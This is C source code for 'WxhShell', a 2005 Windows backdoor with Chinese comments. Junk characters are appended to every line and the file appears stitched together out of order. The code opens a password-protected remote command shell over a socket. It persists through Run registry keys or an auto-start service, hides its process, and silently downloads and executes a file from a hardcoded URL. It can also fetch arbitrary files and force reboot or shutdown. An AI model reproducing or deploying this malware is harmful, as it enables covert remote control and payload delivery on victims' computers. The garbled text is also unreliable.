  case 'd': { rjqQWfShY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X+2aP'D  
    if(Boot(SHUTDOWN)) B@XnHh5y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ocOzQ13@Y  
    else { }+";W)R  
    closesocket(wsh); zG)XB*c  
    ExitThread(0); j}}:&>;  
    } |eH >55 b  
    break; e%. Xya#\  
    } Hg$t,\j  
  // 获取shell ;T6{J[ h  
  case 's': { "|<6 bA  
    CmdShell(wsh); 0Yk@O) x  
    closesocket(wsh); k1Cx~Q)XC  
    ExitThread(0); xdw"JS}  
    break; k=">2!O/  
  } x|C[yu^c  
  // 退出 I{#&!h>]U  
  case 'x': { y\ Su!?4!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;{'{*g[  
    CloseIt(wsh); 5MUM{(C  
    break; G=?2{c}U  
    } (3PkTQlE  
  // 离开 J?4aSssE  
  case 'q': { Ws2SD6!4`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !}%,rtI  
    closesocket(wsh); ,9jq @_  
    WSACleanup(); ^Qrezl&  
    exit(1); .u[hK  
    break; e_mUO"  
        } 7u8HcHl  
  } c *<"&  
  } =fk+"!-i%"  
%@JNX}Y'  
  // 提示信息 +|6 '7Z(9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F-K=Ot j  
} F~j U;L  
  }  Z|zyO-  
`-qRZh@E  
  return; ACQbw)tiv}  
} OT-!n  
m=;0NLs4  
// shell模块句柄 Mle@.IIT  
int CmdShell(SOCKET sock) oJ|8~:)  
{ (Ic{C5'  
STARTUPINFO si; =fA* b  
ZeroMemory(&si,sizeof(si)); MLD-uI10{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `U:W(\L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N$u;Q(^  
PROCESS_INFORMATION ProcessInfo; 'nH/Z 84  
char cmdline[]="cmd"; (Uk1Rt*h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eteq Mg}M  
  return 0; Vf?+->-?{  
} cspO5S>#  
8I=n9Uyz  
// 自身启动模式 `>M;f%s  
int StartFromService(void) c6zghP3dR  
{ v.Fq.  
typedef struct b'i-/l$  
{ B<)c{kj  
  DWORD ExitStatus; oy+``W~  
  DWORD PebBaseAddress; "$)Nd+ny  
  DWORD AffinityMask; y k=o  
  DWORD BasePriority; [AAG:`  
  ULONG UniqueProcessId; d) V"tSC,  
  ULONG InheritedFromUniqueProcessId; NyHHK8>  
}   PROCESS_BASIC_INFORMATION; Z:F5cXt<  
> Y7nq\  
PROCNTQSIP NtQueryInformationProcess; QiDf,$t|,  
WSA;p=_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~`J/618  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dOm`p W^  
:=J~t@  
  HANDLE             hProcess; w[g(8 #*  
  PROCESS_BASIC_INFORMATION pbi; yO@KjCv"  
m~KGB"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w]n ,`r^  
  if(NULL == hInst ) return 0; Be?b| G!M  
jpND"`Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J LOTl.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V=#L@ws  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bcgh}D  
OC)~psQK  
  if (!NtQueryInformationProcess) return 0; [Yt!uhww  
:4o08M%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &V. ps1  
  if(!hProcess) return 0; bj6-0`  
Ie3 F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H)XHlO^  
45cMG~]p  
  CloseHandle(hProcess); \5g7_3,3W  
%;5AF8#c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OyTEd5\3  
if(hProcess==NULL) return 0; lZyxJDZ A  
e_Cns&  
HMODULE hMod; HS1Gy/6'  
char procName[255]; ;Od;q]G7L  
unsigned long cbNeeded; a3o4> 9  
q2qbbQ6H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K \?b6;ea  
vj?v7  
  CloseHandle(hProcess); ^1d"Rqtv  
QBi&Q%piy  
if(strstr(procName,"services")) return 1; // 以服务启动 o+U]=q*|)$  
1PwqW g-\\  
  return 0; // 注册表启动 ]<3$Sx_{y  
} qEd!g,Sx  
AEjkqG4qv  
// 主模块 ts2;?`~  
int StartWxhshell(LPSTR lpCmdLine) 9 C-!I,  
{ -8- BVU  
  SOCKET wsl; V wj^h  
BOOL val=TRUE; h-"c )?p  
  int port=0; B?}ZAw>  
  struct sockaddr_in door; wd4wYk\  
h/9{E:ML  
  if(wscfg.ws_autoins) Install(); 4J lB\8rc  
l.tNq$3pS  
port=atoi(lpCmdLine); 6mH0|:CsY  
7nh,j <~;2  
if(port<=0) port=wscfg.ws_port; x50,4J%J'r  
WdXi  
  WSADATA data; C %l!"s^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KH4 5A'o  
PA5_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O0?.$f9 s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p h[ ^ve  
  door.sin_family = AF_INET; z"`q-R }m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3`9H  
  door.sin_port = htons(port); D;@*  
zu6Y*{$>g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  T~I5W=y  
closesocket(wsl); zB6u%uWR  
return 1; }P[x Z_S1  
} *W()|-[V3  
W_z2Fs"A  
  if(listen(wsl,2) == INVALID_SOCKET) { + V:P-D  
closesocket(wsl); 5l"EQ9  
return 1; sP1wO4M?{  
} vB0O3]  
  Wxhshell(wsl); 'qRK6}"T  
  WSACleanup(); >UTAk  
@^Tof5?F?  
return 0; l#8SlRji  
tz(\|0WDQ  
} w#v8a$tT  
Z P\A  
// 以NT服务方式启动 Wb!"L`m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )wU.|9o]M  
{ JX_hLy@`  
DWORD   status = 0; e/@tU'$  
  DWORD   specificError = 0xfffffff; )9sRDNr  
& i,on6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #bX~.jKW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TV$Pl[m   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d/>owCwQ  
  serviceStatus.dwWin32ExitCode     = 0; Y)@mL~){  
  serviceStatus.dwServiceSpecificExitCode = 0; I>k >^  
  serviceStatus.dwCheckPoint       = 0; >h3r\r\n3  
  serviceStatus.dwWaitHint       = 0; +dWx?$n  
K\5'pp1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); : `D[0  
  if (hServiceStatusHandle==0) return; l#P)9$%  
K9v@L6pY=  
status = GetLastError(); hX#s3)87  
  if (status!=NO_ERROR) J)O1)fR  
{ 3e UTV<!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _D9` L&X}  
    serviceStatus.dwCheckPoint       = 0; ^4@~\#$z  
    serviceStatus.dwWaitHint       = 0; FYIzMp.4  
    serviceStatus.dwWin32ExitCode     = status; v,t&t9}/  
    serviceStatus.dwServiceSpecificExitCode = specificError; >t2E034_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ye^mJ17  
    return; w3lR8R]  
  } 5IeF |#g  
=ogzq.+|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .k5 TQt  
  serviceStatus.dwCheckPoint       = 0; }V.Wp6"S   
  serviceStatus.dwWaitHint       = 0; ZA@QP1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b&.j>=  
} 4am`X1YV#  
]^,<Ez  
// 处理NT服务事件,比如:启动、停止 rM6^pzxe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (g2?&b iuz  
{ jg8j>" Vj>  
switch(fdwControl) 7Mxw0 J  
{ _RG!lmJV  
case SERVICE_CONTROL_STOP: eto3dJ!R  
  serviceStatus.dwWin32ExitCode = 0; 9g3J{pKcZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YDBQ6X  
  serviceStatus.dwCheckPoint   = 0; yYmV^7G  
  serviceStatus.dwWaitHint     = 0; ^p#f B4z  
  { fI"q/+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sY__ak!>  
  } uSSnr#i^j  
  return; iTTe`Zr5y  
case SERVICE_CONTROL_PAUSE: %)[mbb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %MyA;{-F6  
  break; @MIBW)P<  
case SERVICE_CONTROL_CONTINUE: jRN*W2]V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0ra VC=[  
  break; UkrqHHpy  
case SERVICE_CONTROL_INTERROGATE: W69 -,w/  
  break; l,Un7]*  
}; JpN]j`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EL+6u>\- k  
} %V-\|cw   
t ZUZNKODW  
// 标准应用程序主函数 B<c7&!B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2 g"_ *[  
{ 910Ym!\{:  
O[Xl*9P  
// 获取操作系统版本 X%W_cb2  
OsIsNt=GetOsVer(); O@[c*3]e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |fdr\t#'~  
fII;t-(x  
  // 从命令行安装 t ?8 ?Ok  
  if(strpbrk(lpCmdLine,"iI")) Install(); dj*%^cI  
}IvJIr  
  // 下载执行文件 ;\7TQ9z  
if(wscfg.ws_downexe) { 6'y+Ev$9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }49X  N  
  WinExec(wscfg.ws_filenam,SW_HIDE); /G$8j$  
} J<x?bIetj  
U,"lOG'  
if(!OsIsNt) { i:`ur  
// 如果时win9x,隐藏进程并且设置为注册表启动 ? lC. Pq  
HideProc(); A#~"Gp  
StartWxhshell(lpCmdLine); zmkqqiDp_  
} v(^{ P  
else GSg|Gz""J0  
  if(StartFromService()) /0QGU4=  
  // 以服务方式启动 dw,Nlf~*0  
  StartServiceCtrlDispatcher(DispatchTable); 2SU G/-P#  
else Q\G8R^9j p  
  // 普通方式启动 Izq]nR  
  StartWxhshell(lpCmdLine); " 6 /`  
%C=^ h1t%  
return 0; "sF&WuW|  
} \KfngYD]W  
\3dM A_5  
KZO!  
~Nf0 1,F  
=========================================== dq%N,1.F  
{= Dtajz  
@`2<^-r\  
N#{d_v^H?d  
LXj2gsURu%  
>nmby|XtW  
" ]c{Zh?0  
$Tu%dE(OF  
#include <stdio.h> ^ ab%Mbb  
#include <string.h> 6Uq@v8mh  
#include <windows.h> quc?]rb  
#include <winsock2.h> vPEL'mw/3#  
#include <winsvc.h> [0CoQ5:d?&  
#include <urlmon.h> b)@%gS\F  
GL&ri!,  
#pragma comment (lib, "Ws2_32.lib") f9H;e(D9]  
#pragma comment (lib, "urlmon.lib") ]d?`3{h9LD  
flTK  
#define MAX_USER   100 // 最大客户端连接数 pc&/'zb  
#define BUF_SOCK   200 // sock buffer iRo UM.%  
#define KEY_BUFF   255 // 输入 buffer [7B:{sH  
$wU.GM$t~  
#define REBOOT     0   // 重启 c38RE,4U  
#define SHUTDOWN   1   // 关机 }Q_IqI[7  
yrO'15TB  
#define DEF_PORT   5000 // 监听端口 FT73P0!8.  
i_ws*7B<  
#define REG_LEN     16   // 注册表键长度 A<^IG+Q,B7  
#define SVC_LEN     80   // NT服务名长度 / 3:R{9S%  
x<60=f[O2R  
// 从dll定义API r/=v;4.W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !q~s-~d^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <uNBsYMuC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4xhV +Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )hj77~{ +  
2D`@$)KL  
// wxhshell配置信息 #*q`/O5n  
struct WSCFG { P, !si#  
  int ws_port;         // 监听端口 I9N?zmH  
  char ws_passstr[REG_LEN]; // 口令 =Z_\8qc  
  int ws_autoins;       // 安装标记, 1=yes 0=no )0`;leli  
  char ws_regname[REG_LEN]; // 注册表键名  =IV_yor  
  char ws_svcname[REG_LEN]; // 服务名  ])}{GW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9'3%%o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;k^wn)JE$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7a0ZI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `kIzT!HX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %KNnss}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kH d_q.  
O_0|Q@  
}; :bwdEni1P  
`,H\j?  
// default Wxhshell configuration (: 2:_FL  
struct WSCFG wscfg={DEF_PORT, VaQ>g*(I  
    "xuhuanlingzhe", ;%2/  
    1, m8$6FN  
    "Wxhshell", 7CYu"+Ea  
    "Wxhshell", ,WA7Kp9  
            "WxhShell Service", 1"A1bK  
    "Wrsky Windows CmdShell Service", 3sc5meSu'  
    "Please Input Your Password: ", G40,KCa  
  1, NUiZ!&  
  "http://www.wrsky.com/wxhshell.exe", n )YNt  
  "Wxhshell.exe" cyA|6Ltg%  
    }; CeS8I-,  
}!\NdQs  
// 消息定义模块 E4[ |=<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F6h3M~uR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K+Q81<X~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f!ehq\K1k  
char *msg_ws_ext="\n\rExit."; 3  8pw  
char *msg_ws_end="\n\rQuit."; m9Gyjr'L  
char *msg_ws_boot="\n\rReboot..."; 2H;&E1:  
char *msg_ws_poff="\n\rShutdown..."; sp0& " &5  
char *msg_ws_down="\n\rSave to "; G& cm5  
G U~?S'{  
char *msg_ws_err="\n\rErr!"; @!fy24R]D  
char *msg_ws_ok="\n\rOK!"; 0#F3@/1h  
*D #H-]9  
char ExeFile[MAX_PATH]; A?|KA<&m#u  
int nUser = 0; LSlaz  
HANDLE handles[MAX_USER]; x,IU]YW@  
int OsIsNt; #rMMOu9r2  
|xQG  
SERVICE_STATUS       serviceStatus; :Gqyj_|<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9=@j]g|  
[Ua4{3#  
// 函数声明  dKDtj:  
int Install(void); PKT0Drv}c7  
int Uninstall(void); cy*Td7)/  
int DownloadFile(char *sURL, SOCKET wsh); >Mj :'  
int Boot(int flag); En8-Hc#NC  
void HideProc(void); qqT6C%Q`kG  
int GetOsVer(void); hD{+V!{  
int Wxhshell(SOCKET wsl); B<DvH"+$  
void TalkWithClient(void *cs); l@Ma{*s6=5  
int CmdShell(SOCKET sock); &WN4/=QW-J  
int StartFromService(void); ]0by6hQ  
int StartWxhshell(LPSTR lpCmdLine); cf1Ve\(YGI  
.3qaaXeH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); suj? e6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GBtBmV/`  
'@2pOq  
// 数据结构和表定义 5[`!\vCiZ  
SERVICE_TABLE_ENTRY DispatchTable[] = \6)l(b;  
{ 5fv eQI~!  
{wscfg.ws_svcname, NTServiceMain}, g[*+R9'  
{NULL, NULL} o4o&}  
}; ZJsc?*@  
gSEj/?  
// 自我安装 0`"]mYH  
int Install(void) 6g8{;6x  
{ sn_]7d+ Q  
  char svExeFile[MAX_PATH]; 5X\3y4  
  HKEY key; ,Bp\ i  
  strcpy(svExeFile,ExeFile); gC;y>YGP  
Z}f$ KWj  
// 如果是win9x系统,修改注册表设为自启动 -q&VV,  
if(!OsIsNt) { 6AqHzeh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [|d:QFx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wblEx/FqE^  
  RegCloseKey(key); "@W0Lk[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D^=_408\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L{bcmo\U  
  RegCloseKey(key); ldrKk'S,B  
  return 0; P .3j |)NW  
    } Im{50%Y  
  } Vi23pDZ5  
} V;L^q?v !  
else { x8.7])?w  
~IZ'zuc  
// 如果是NT以上系统,安装为系统服务 ->6 /L)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zHG KPuk'  
if (schSCManager!=0) Wd_bDZQ  
{ OZ&J'Y  
  SC_HANDLE schService = CreateService -LzHCO/7(  
  ( rK)So#'  
  schSCManager, M A}=  
  wscfg.ws_svcname, PH9MB  
  wscfg.ws_svcdisp, qCSJ=T;  
  SERVICE_ALL_ACCESS, #R"9(Q&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %'"#X?jk1  
  SERVICE_AUTO_START, +Q If7=  
  SERVICE_ERROR_NORMAL, zAC   
  svExeFile, 9'o!9_j  
  NULL, cE/7B'cR  
  NULL, m'KY;C  
  NULL, y1,L0v$=}  
  NULL, @y;N u   
  NULL l] WV gu  
  ); #w*1 !  
  if (schService!=0) 1 <.I2\^  
  { \2U^y4K.  
  CloseServiceHandle(schService); @R9zLL6#7  
  CloseServiceHandle(schSCManager); ^HLi1w|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z6!MX_ep  
  strcat(svExeFile,wscfg.ws_svcname); UA!h[+Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D5\$xdlJy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dD1`[%  
  RegCloseKey(key); %Xh/16X${  
  return 0; chQt8Ar3  
    } S6h=} V )  
  } e-,U@_B  
  CloseServiceHandle(schSCManager); xM9EO(u  
} F}DdErd!f  
} sVZb[|zSri  
"V&2 g?  
return 1; (BVLlOo?J  
} P.gk'\<k  
(;$ J5  
// 自我卸载 Vg#s  
int Uninstall(void) ^5qX+!3r{  
{ ; @ h{-@  
  HKEY key; -?!|W-}@G=  
"L1cHP~d  
if(!OsIsNt) { ]3 YJE P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bEV 9l  
  RegDeleteValue(key,wscfg.ws_regname); _K )B  
  RegCloseKey(key); zawU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RU,f|hB 4  
  RegDeleteValue(key,wscfg.ws_regname); e,={!P"f  
  RegCloseKey(key); gd]vrW'wj  
  return 0; 2*vOo^f  
  } VjtI1I  
} }IC$Du#  
} r[vMiVb  
else { X, <&#l  
W=j/2c/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @X>k@M  
if (schSCManager!=0) ^b~&}uU  
{ Kf76./  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HelC_%#^  
  if (schService!=0) c ^G\w+_  
  { (?J6vK}S  
  if(DeleteService(schService)!=0) { Cc0`Ylx~(  
  CloseServiceHandle(schService); x1Q}B   
  CloseServiceHandle(schSCManager); }Y(Q7l  
  return 0; N6c']!aM@  
  } Nv,[E+a2  
  CloseServiceHandle(schService); $lOx 6rL  
  } f-y4V}  
  CloseServiceHandle(schSCManager); -OB72!sKU  
} tV9W4`Z2q  
} #] vq <Y  
#^gn,^QQ  
return 1; {:IOTy  
} GxLoNVr  
(ivV[  
// 从指定url下载文件 8 2&JYx  
int DownloadFile(char *sURL, SOCKET wsh) V5i_\A  
{ D7X-|`kH  
  HRESULT hr; fPiq  
char seps[]= "/"; [@ "H2#CQ  
char *token; g:q+.6va"  
char *file; 5{zXh  
char myURL[MAX_PATH]; q#pBlJ.LK  
char myFILE[MAX_PATH]; ?Mp~^sgp'  
>a%NC'~rc  
strcpy(myURL,sURL); N:)`+}  
  token=strtok(myURL,seps); ]}<.Y[!S  
  while(token!=NULL) !w[<?+%%n  
  { P|v;'9  
    file=token; /SY40;k:  
  token=strtok(NULL,seps); - DlKFN  
  } NS#qein~i  
%;!@\5$  
GetCurrentDirectory(MAX_PATH,myFILE); xp7,0'(;  
strcat(myFILE, "\\"); [zm&}$nnN  
strcat(myFILE, file); %/oOM\} ++  
  send(wsh,myFILE,strlen(myFILE),0); t^Aios~F  
send(wsh,"...",3,0); Fla[YWS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [@";\C_I  
  if(hr==S_OK) HyiuU`  
return 0; VD,F?L!  
else 6.6~w\fR8  
return 1; si/F\NDT   
zpZlA_   
} WnLgpt2G  
\u2K?wC  
// 系统电源模块 vYL{5,t {1  
int Boot(int flag) =9\=5_V  
{  uw LT$  
  HANDLE hToken; Y` LZ/Tgk  
  TOKEN_PRIVILEGES tkp; ~{n_rKYV  
%+w>`k3(N  
  if(OsIsNt) { req=w;E:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?f1%)]>   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 022YuqL<v  
    tkp.PrivilegeCount = 1; gu/eC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gu V -[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); doFp53NhV  
if(flag==REBOOT) { %Wom]/&,'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vt5%A}.VQ  
  return 0; j+*VP  
} q5BJsw  
else { TIW6v4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !Wvzum@5D  
  return 0; =gGK243  
} (u]ft]z,-B  
  } * <x]gV  
  else { )"m FlS<I  
if(flag==REBOOT) { 394u']M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A~ '2ki5$g  
  return 0; j5R= K*y  
} x&l?Cfvv=  
else { lBR6O!sBP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jb6rEV>  
  return 0; G 8uX[-L1  
} J,;; `sf  
} 9*[!uu  
;G0~f9  
return 1; 5BS-q"  
} <.l5>mgkCw  
Y3-Tg~/~W  
// win9x进程隐藏模块 eoR@5OA&  
void HideProc(void) C]W VH\P p  
{ (*/P~$xIj  
s$C;31k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W$EX6jTGI  
  if ( hKernel != NULL ) K *{C:Y  
  { 3_fLaf A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cK(}B_D$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IQGIU3O  
    FreeLibrary(hKernel); w6Dysg:  
  } A{>]M@QC2  
|QAmN> 7U  
return; 8<^[xe  
} zO2<Igb  
%p/Qz|W  
// 获取操作系统版本 nkS6A}i3o  
int GetOsVer(void) 3dcZ1Yrn  
{ 56>Zqtp*  
  OSVERSIONINFO winfo; GE Xz)4[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sG}}a}U1  
  GetVersionEx(&winfo); 2a5yJeaIv*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *W(b=u  
  return 1; -3wg9uZ &  
  else SQvicZAN)`  
  return 0; y3 LWh}~E  
} 4J!1$   
QDBptI:  
// 客户端句柄模块 bTA<AoW9="  
int Wxhshell(SOCKET wsl) PgB=<#9  
{ 5G(y  
  SOCKET wsh; MG8-1M  
  struct sockaddr_in client; ^[&*B#(  
  DWORD myID; 6du"^g  
s_zZ@azJ  
  while(nUser<MAX_USER) Y91TF'  
{ xtpD/,2  
  int nSize=sizeof(client); XwX1i!'54  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "y "C#:5  
  if(wsh==INVALID_SOCKET) return 1; hYi-F.Qtq  
Z6K9E=%)c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >8t(qM-~:  
if(handles[nUser]==0) O5_E"um  
  closesocket(wsh); ovm*,La)g  
else |1J "r.K  
  nUser++; g\rujxHlH  
  } PA`b~Ct  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jd]MC*%  
"N4c>2Q  
  return 0; xqP0Z) ,Ow  
} BAzc'x&<  
z]Ql/AK  
// 关闭 socket ?B@hCd)  
void CloseIt(SOCKET wsh) 9tl Fbu  
{ n0 !S;HH-  
closesocket(wsh); ai#EFo+#  
nUser--; YX^{lD1Jj  
ExitThread(0); q/Q^\HTk  
} xS,):R  
wKk  
// 客户端请求句柄 .IF dJ  
void TalkWithClient(void *cs) A javV  
{ 5:ir il  
(ter+rTv  
  SOCKET wsh=(SOCKET)cs; O- |RPW}  
  char pwd[SVC_LEN]; CdWGb[uI  
  char cmd[KEY_BUFF]; qaw5<  
char chr[1]; oJ6 d:  
int i,j; J)'6 z  
:JW~$4  
  while (nUser < MAX_USER) { O~'1)k>  
HFo}r~  
if(wscfg.ws_passstr) { [USXNe/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7:bqh$3!s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (9Hc`gd)p  
  //ZeroMemory(pwd,KEY_BUFF); @3VL _g:  
      i=0; =%2 E|/  
  while(i<SVC_LEN) { [jAhw>  
cv#H  
  // 设置超时 n[ba  
  fd_set FdRead; B-@f.NO/s  
  struct timeval TimeOut; <@JU0Z"a=  
  FD_ZERO(&FdRead); -z'@Mh|i6l  
  FD_SET(wsh,&FdRead); vaTXu*   
  TimeOut.tv_sec=8; 1/HPcCsHb  
  TimeOut.tv_usec=0; uA}asm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZJR{c5TE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "_H&p  
m1daOeZ]P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Aqp3amW!  
  pwd=chr[0]; T0tG1/O\  
  if(chr[0]==0xd || chr[0]==0xa) { R L)'m  
  pwd=0; ) }?dYk  
  break; !my5-f>{(  
  } 9]AKNQq m  
  i++; Ir0er~f+z  
    } Ty@&s 58a  
:Bn\1\  
  // 如果是非法用户,关闭 socket D+ jk0*bJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ln`c DZSM  
} ^.-P]I]  
rWbL_1Eq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?I7H ):  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d%]7:  
h[XGFz  
while(1) { 9^c_^-8n<}  
ZO}V}3  
  ZeroMemory(cmd,KEY_BUFF); -09<; U  
?.4.Ubc\  
      // 自动支持客户端 telnet标准   7[u&%  
  j=0; -P.) 0d(  
  while(j<KEY_BUFF) { g2iSc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (AwbZn*  
  cmd[j]=chr[0]; *&5G+d2  
  if(chr[0]==0xa || chr[0]==0xd) { (8H^{2K~  
  cmd[j]=0; L G=Q  
  break; @]2cL  
  } Crww\#E;  
  j++; fF *a/\h %  
    } BA-n+WCWJ  
d]@9kG  
  // 下载文件 #p_ ~L4iW  
  if(strstr(cmd,"http://")) { >!a*wf~]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K0+J!- a]7  
  if(DownloadFile(cmd,wsh)) 8eLNKgc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ):.]4n{L  
  else }F1^gN&QF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .6/[X` *  
  } <m)@~s?D  
  else { Ay56@_d2  
i<@|+*>M  
    switch(cmd[0]) { Z/_RQ q   
  TcGxm7T  
